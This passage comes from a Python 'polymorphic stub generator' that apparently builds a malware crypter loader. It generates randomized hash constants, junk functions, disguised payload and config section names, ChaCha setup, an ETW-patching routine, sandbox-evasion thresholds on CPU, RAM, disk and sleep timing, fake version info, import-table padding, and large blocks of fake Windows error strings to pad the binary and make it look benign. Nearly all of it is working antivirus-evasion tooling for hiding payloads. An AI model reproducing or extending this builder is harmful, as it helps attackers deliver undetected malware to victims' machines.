"The image file is valid, but is for a machine type other than the current machine.",
"The pipe state is invalid.",
"All pipe instances are busy.",
"The pipe is being closed.",
"No process is on the other end of the pipe.",
"More data is available.",
"The session was canceled.",
"The specified extended attribute name was invalid.",
"The extended attributes are inconsistent.",
"No more data is available.",
"The copy functions cannot be used.",
"The directory name is invalid.",
"The extended attributes did not fit in the buffer.",
"The mounted file system does not support extended attributes.",
"An attempt has been made to operate on an extended attribute marker.",
"This debug event is a fatal error.",
"This debug event is a warning.",
"A real-mode application issued a floating-point instruction.",
"An error occurred applying the security descriptor.",
"There are no more threads to resume.",
"A process assertion has been hit.",
"The specified resource manager made no changes or updates to the resource.",
"There is nothing to publish.",
"The callback function must be invoked inline.",
"The token is already in use as a primary token.",
"An attempt was made to connect to a named pipe that is already connected.",
"Element not found.",
"There was no match for the specified key in the index.",
"The property set specified does not exist on the object.",
"The point passed to GetMouseMovePoints is not in the buffer.",
"The tracking (workstation) service is not running.",
"The volume ID could not be found.",
"Unable to remove the file to be replaced.",
"Unable to move the replacement file to the file to be replaced.",
"Unable to move the replacement file to the file to be replaced. The name of the replacement file is valid.",
"The process is terminated.",
"Application verifier has found an error in the current process.",
"The calling thread is already in a callback.",
"A certificate was explicitly revoked by its issuer.",
"The process is using a SID that is too long for the operation.",
"The process default activation context and the one referred by the manifest are different.",
"The encoding requested is not recognized.",
"The object has changed since it was last read.",
"The object must be read again.",
"The requested action was aborted.",
"An error occurred during validation.",
"The operation was blocked because a dependent transaction exists.",
"The format of the file is not recognized.",
"The path does not exist.",
"Windows Sockets initialization error.",
"A blocking Windows Sockets operation was interrupted.",
"An established connection was aborted by the software in your host machine.",
"An existing connection was forcibly closed by the remote host.",
"A connection attempt failed because the connected party did not properly respond after a period of time.",
"Windows could not search for new updates.",
"Windows Update encountered an unknown error.",
"The component store has been corrupted.",
"The manifest is damaged.",
"The component store metadata file is corrupted.",
"The assembly is not recognized.",
"The feature is not present.",
"The assembly reference is not matched.",
"The hardware has reported an uncorrectable memory error.",
"Windows has finished checking your disk.",
"The Plug and Play Service terminated the program.",
"The program does not have a valid certificate.",
"The system is in the process of shutting down.",
"Task Manager has been disabled by your administrator.",
"The caller has specified that the service will not be stopped.",
"Debugger terminated the thread.",
"Debugger terminated the process.",
"Debug control C was sent to the process.",
"Debug control break was sent to the process.",
"Debug: Process was killed when a deadline was reached.",
"Windows Firewall is turned off.",
"Automatic Updates is turned off.",
"Windows Defender is turned off.",
"No antivirus software was detected.",
"Windows Security Center cannot perform an action.",
"Your computer is at risk. Windows Firewall is turned off.",
"WARNING: Internet communication is limited.",
"Please check your network settings.",
"Connecting to the service...",
"Verifying account information...",
"Looking for available updates...",
"Downloading updates...",
"Installing updates...",
"Checking for solutions to problems...",
"Preparing to configure Windows. Do not turn off your computer.",
"Please wait while Windows configures updates.",
"Success.",
"The message resource is present but the message is not found.",
"The message resource is present but the message was not formatted.",
"Manifest parsing error: The manifest file is missing.",
]
PADDING_XML_FRAGMENTS = [
'<?xml version="1.0" encoding="utf-8"?>\n<configuration>\n <runtime>\n <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">\n <dependentAssembly>\n <assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>\n <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0"/>\n </dependentAssembly>\n </assemblyBinding>\n </runtime>\n</configuration>',
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">\n <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">\n <security>\n <requestedPrivileges>\n <requestedExecutionLevel level="asInvoker" uiAccess="false"/>\n </requestedPrivileges>\n </security>\n </trustInfo>\n</assembly>',
'<AppSettings>\n <add key="EnableDiagnostics" value="false"/>\n <add key="TraceLevel" value="Warning"/>\n <add key="MaxBufferSize" value="65536"/>\n <add key="ConnectionTimeout" value="30000"/>\n <add key="RetryCount" value="3"/>\n <add key="DefaultCulture" value="en-US"/>\n</AppSettings>',
'<PropertyGroup Condition="\'$(Configuration)|$(Platform)\'==\'Release|x64\'">\n <DebugType>pdbonly</DebugType>\n <Optimize>true</Optimize>\n <OutputPath>bin\\Release\\</OutputPath>\n <DefineConstants>TRACE;NDEBUG</DefineConstants>\n <ErrorReport>prompt</ErrorReport>\n <WarningLevel>4</WarningLevel>\n <Prefer32Bit>false</Prefer32Bit>\n</PropertyGroup>',
'<dependency>\n <dependentAssembly>\n <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls"\n version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"\n language="*"/>\n </dependentAssembly>\n</dependency>',
'<?xml version="1.0" encoding="utf-8"?>\n<configuration>\n <system.diagnostics>\n <sources>\n <source name="TraceSourceApp" switchName="sourceSwitch" switchType="System.Diagnostics.SourceSwitch">\n <listeners>\n <add name="console" type="System.Diagnostics.ConsoleTraceListener"/>\n <remove name="Default"/>\n </listeners>\n </source>\n </sources>\n <switches>\n <add name="sourceSwitch" value="Warning"/>\n </switches>\n </system.diagnostics>\n</configuration>',
]
def generate_padding_data(outdir, target_size_kb=None):
"""Generate stub_poly_padding.c + stub_poly_padding.h with realistic .rdata content."""
if target_size_kb is None:
target_size_kb = random.randint(150, 400)
target_bytes = target_size_kb * 1024
# Allocate budget: ~60% strings, ~20% integers, ~10% XML, ~10% misc
string_budget = int(target_bytes * 0.60)
int_budget = int(target_bytes * 0.20)
xml_budget = int(target_bytes * 0.10)
c_lines = []
c_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
c_lines.append("/* Realistic .rdata padding to normalize binary size */")
c_lines.append("#include <windows.h>")
c_lines.append("#include <stdint.h>")
c_lines.append("")
c_lines.append("volatile uint32_t g_padding_state = 0;")
c_lines.append("")
total_generated = 0
# --- String tables ---
c_lines.append("/* Windows error messages and diagnostic strings */")
str_array_count = 0
current_batch = []
current_batch_size = 0
# Shuffle and repeat pool to fill budget
pool = list(PADDING_STRINGS_POOL)
random.shuffle(pool)
pool_idx = 0
while total_generated < string_budget:
s = pool[pool_idx % len(pool)]
pool_idx += 1
# Add minor variation to prevent exact dedup
if pool_idx > len(pool):
s = s.rstrip('.') + random.choice(['.', '!', '...', ' '])
escaped = s.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n')
entry_size = len(s) + 1 # +1 for null terminator
current_batch.append(f' "{escaped}"')
current_batch_size += entry_size
if current_batch_size >= 4096 or total_generated + current_batch_size >= string_budget:
c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{")
c_lines.append(",\n".join(current_batch))
c_lines.append("};")
c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}")
c_lines.append("")
total_generated += current_batch_size
str_array_count += 1
current_batch = []
current_batch_size = 0
if current_batch:
c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{")
c_lines.append(",\n".join(current_batch))
c_lines.append("};")
c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}")
c_lines.append("")
total_generated += current_batch_size
str_array_count += 1
# --- Integer tables (locale IDs, error codes, version constants) ---
c_lines.append("/* Locale IDs, error codes, and version constants */")
int_array_count = 0
while total_generated < string_budget + int_budget:
batch_size = random.randint(64, 256)
values = []
table_type = random.choice(["locale", "error", "version"])
for _ in range(batch_size):
if table_type == "locale":
values.append(f"0x{random.choice([0x0409, 0x0809, 0x0407, 0x040C, 0x0411, 0x0419, 0x0404, 0x0804, 0x0C09, 0x1009, 0x0416, 0x0816, 0x040A, 0x080A, 0x0410, 0x0413]):04X}u")
elif table_type == "error":
values.append(f"0x{random.randint(0, 0x3FFF):08X}u")
else:
major = random.choice([6, 10])
minor = random.randint(0, 3)
build = random.randint(7600, 26100)
values.append(f"0x{(major << 24 | minor << 16 | build):08X}u")
c_lines.append(f"__attribute__((used)) const uint32_t g_pad_inttbl_{int_array_count}[] = {{")
# Format 8 per line
for i in range(0, len(values), 8):
chunk = values[i:i+8]
c_lines.append(" " + ", ".join(chunk) + ",")
c_lines.append("};")
c_lines.append(f"#define G_PAD_INTTBL_{int_array_count}_COUNT {len(values)}")
c_lines.append("")
total_generated += batch_size * 4
int_array_count += 1
# --- XML fragments ---
c_lines.append("/* Configuration and manifest XML fragments */")
xml_selected = random.sample(PADDING_XML_FRAGMENTS, min(len(PADDING_XML_FRAGMENTS), 4))
for xi, xml in enumerate(xml_selected):
escaped = xml.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n')
c_lines.append(f'__attribute__((used)) const char g_pad_xml_{xi}[] = "{escaped}";')
total_generated += len(xml)
c_lines.append("")
# --- Reference function to prevent linker stripping ---
c_lines.append("/* Touch function — prevents linker from stripping .rdata */")
c_lines.append("void padding_touch(void) {")
c_lines.append(" volatile uint32_t acc = 0;")
# Touch string tables
for i in range(str_array_count):
c_lines.append(f" for (int i = 0; i < G_PAD_STRTBL_{i}_COUNT && i < 2; i++)")
c_lines.append(f" acc += (uint32_t)(uintptr_t)g_pad_strtbl_{i}[i];")
# Touch int tables
for i in range(int_array_count):
c_lines.append(f" acc += g_pad_inttbl_{i}[0];")
# Touch XML
for xi in range(len(xml_selected)):
c_lines.append(f" acc += (uint32_t)g_pad_xml_{xi}[0];")
c_lines.append(" g_padding_state = acc;")
c_lines.append("}")
c_lines.append("")
# Write .c file
c_path = os.path.join(outdir, "stub_poly_padding.c")
with open(c_path, "w", newline="\n") as f:
f.write("\n".join(c_lines))
# Write .h file
h_lines = []
h_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
h_lines.append("#ifndef STUB_POLY_PADDING_H")
h_lines.append("#define STUB_POLY_PADDING_H")
h_lines.append("")
h_lines.append("void padding_touch(void);")
h_lines.append("")
h_lines.append("#endif /* STUB_POLY_PADDING_H */")
h_lines.append("")
h_path = os.path.join(outdir, "stub_poly_padding.h")
with open(h_path, "w", newline="\n") as f:
f.write("\n".join(h_lines))
return target_size_kb, c_path, h_path
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(description="Polymorphic stub generator")
parser.add_argument("--outdir", required=True, help="Output directory for generated files")
parser.add_argument("--tools-dir", default=None,
help="Path to agent/tools/ (for icon). Default: script's directory")
args = parser.parse_args()
os.makedirs(args.outdir, exist_ok=True)
tools_dir = args.tools_dir or os.path.dirname(os.path.abspath(__file__))
# Pick a random algorithm
algo = pick_algorithm()
# Compute constants with collision detection
constants = compute_constants(algo)
# Generate hash header
header = generate_hash_header(algo, constants)
header_path = os.path.join(args.outdir, "stub_poly_hash.h")
with open(header_path, "w", newline="\n") as f:
f.write(header)
# Generate junk functions (40-80 random count for .text bulk)
junk_count = random.randint(40, 80)
junk = generate_junk_functions(junk_count)
junk_path = os.path.join(args.outdir, "stub_poly_junk.c")
with open(junk_path, "w", newline="\n") as f:
f.write(junk)
# ── Generate per-build config (stub + crypter shared) ──
magic = random.randint(0x10000000, 0xFFFFFFF0)
cfg_section = _random_section_name() if random.random() < 0.10 else random.choice(CFG_SECTION_POOL)
pay_section = _random_section_name() if random.random() < 0.10 else random.choice(PAY_SECTION_POOL)
charset = generate_shuffled_charset()
chacha_init_lines = generate_chacha_init_code()
etw_patch, etw_size = generate_etw_patch_code()
# LCG parameters for entropy pad (must match between stub and crypter)
# Known-good full-period LCG multipliers (Knuth, Numerical Recipes, etc.)
lcg_mult_pool = [
0x41C64E6D, # Numerical Recipes
0x6C078965, # Mersenne-related
0x019660D, # MINSTD
0x5D588B65, # Turbo Pascal
0x0005DEEC, # Java (lower 32)
0x343FD, # MSVC
0x3C6EF35F, # GCC glibc (lower 32)
0x41A7, # Park-Miller
]
lcg_mult = random.choice(lcg_mult_pool)
lcg_inc = random.randrange(1, 0xFFFF, 2) # odd increment for full period
lcg_shift = random.choice([15, 16, 17])
# Sandbox thresholds with realistic randomization
sb_min_cpu = random.randint(2, 3)
sb_min_ram_gb = random.choice([2, 3, 4])
sb_min_disk_gb = random.choice([40, 50, 60, 80])
sb_sleep_ms = random.choice([300, 400, 500, 600, 700])
sb_sleep_min_ms = sb_sleep_ms - random.randint(30, 80)
sb_min_recent = random.randint(5, 15)
config_header = generate_stub_config_header(
magic, cfg_section, pay_section, charset,
chacha_init_lines, etw_patch, etw_size,
sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb,
sb_sleep_ms, sb_sleep_min_ms, sb_min_recent,
lcg_mult, lcg_inc, lcg_shift,
)
config_path = os.path.join(args.outdir, "stub_poly_config.h")
with open(config_path, "w", newline="\n") as f:
f.write(config_header)
# Generate metamorphic function header
meta_header, meta_unroll, meta_rotl = generate_metamorphic_header(
lcg_mult, lcg_inc, lcg_shift)
meta_path = os.path.join(args.outdir, "stub_poly_metamorphic.h")
with open(meta_path, "w", newline="\n") as f:
f.write(meta_header)
# Generate randomized VERSIONINFO resource
vi_identity, vi_version = generate_versioninfo(args.outdir, tools_dir)
# Generate IAT padding (12-20 benign API calls)
iat_count, iat_path = generate_iat_padding(args.outdir)
# Generate binary size padding (150-400KB .rdata content)
pad_size_kb, pad_c_path, pad_h_path = generate_padding_data(args.outdir)
print(f"Algorithm: {algo.name}")
print(f"Constants: {len(constants)} (no collisions)")
print(f"Junk functions: {junk_count}")
print(f"Config magic: 0x{magic:08X}")
print(f"Config section: {cfg_section}")
print(f"Payload section: {pay_section}")
print(f"Charset length: {len(charset)}")
print(f"ETW patch: {etw_size} bytes")
print(f"LCG: mult=0x{lcg_mult:08X}, inc=0x{lcg_inc:04X}, shift={lcg_shift}")
print(f"Sandbox: CPU>={sb_min_cpu}, RAM>={sb_min_ram_gb}GB, Disk>={sb_min_disk_gb}GB")
print(f"Metamorphic: ChaCha20 unroll={meta_unroll}, ROTL={meta_rotl}")
print(f"VersionInfo: {vi_identity} ({vi_version})")
print(f"IAT padding: {iat_count} API calls")
print(f"Binary padding: ~{pad_size_kb}KB .rdata content")
print(f"Output: {header_path}")
print(f"Output: {junk_path}")
print(f"Output: {config_path}")
print(f"Output: {meta_path}")
print(f"Output: {iat_path}")
print(f"Output: {pad_c_path}")
print(f"Output: {pad_h_path}")
if __name__ == "__main__":
main()